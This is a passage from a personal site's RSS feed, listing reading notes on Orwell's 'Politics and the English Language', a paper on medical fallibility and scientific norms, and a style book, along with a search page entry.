&lt;p&gt;John, when people thought the earth was flat, they were wrong. When people thought the earth was spherical, they were wrong. But if you think that thinking the earth is spherical is just as wrong as thinking the earth is flat, then your view is wronger than both of them put together.&lt;/p&gt;</description></item><item><title>The New Strategy of Style [Weathers, Winston]</title><link>https://www.curiosities.dev/writing/the-new-strategy-of-style/_meta/</link><pubDate>Sun, 01 Jan 1978 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/writing/the-new-strategy-of-style/_meta/</guid><description/></item><item><title>Toward a Theory of Medical Fallibility</title><link>https://www.curiosities.dev/health-and-medicine/1976-01-01-toward-a-theory-of-medical-fallibility/</link><pubDate>Thu, 01 Jan 1976 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/health-and-medicine/1976-01-01-toward-a-theory-of-medical-fallibility/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Medical care is like the opposite of moving fast and breaking things. If it&amp;rsquo;s so
taboo to admit error, then that could make errors more common because fewer
people are learning from past errors.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="norms-for-scientific-activity-and-the-sources-of-error"&gt;Norms for Scientific Activity and the Sources of Error&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&amp;ldquo;Science&amp;rdquo; is taken to mean &amp;ldquo;Natural Science&amp;rdquo;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Internal norms derive from a cognitive pursuit of science. They are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Focus on the central rather than the peripheral problems of the science in
in question.&lt;/li&gt;
&lt;li&gt;Craftsmanship standards in the design of experiments and hypothesis testing.&lt;/li&gt;
&lt;li&gt;Distinguished theorizing is elegant and simple.&lt;/li&gt;
&lt;li&gt;Searching for a theory that is closer to the truth than the currently accepted
theory.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;External norms govern motives for participating in and using the results of
scientific activity, e.g.&lt;/p&gt;</description></item><item><title>[Orwell] Politics and the English Language</title><link>https://www.curiosities.dev/writing/1946-04-01-politics-and-the-english-language/</link><pubDate>Mon, 01 Apr 1946 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/writing/1946-04-01-politics-and-the-english-language/</guid><description>&lt;p&gt;But an effect can become a cause, reinforcing the original cause and producing
the same effect in intensified form. The language becomes ugly and inaccurate
because our thoughts are foolish, but the slovenliness of our language makes it
easy for us to have foolish thoughts. The point is that the process is
reversible.&lt;/p&gt;
&lt;p&gt;Standard phrases already have rhythm. They are a convenient shortcut for lazy
communicators.&lt;/p&gt;
&lt;p&gt;Pretentious diction to make the banal appear profound, the biased seem
scientifically impartial and sordid events masquerade as dignified.&lt;/p&gt;</description></item><item><title>Search</title><link>https://www.curiosities.dev/search/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/search/</guid><description>&lt;div contenteditable id="searchQuery"&gt;&lt;/div&gt;

&lt;div id="searchResults"&gt;&lt;/div&gt;</description></item></channel></rss>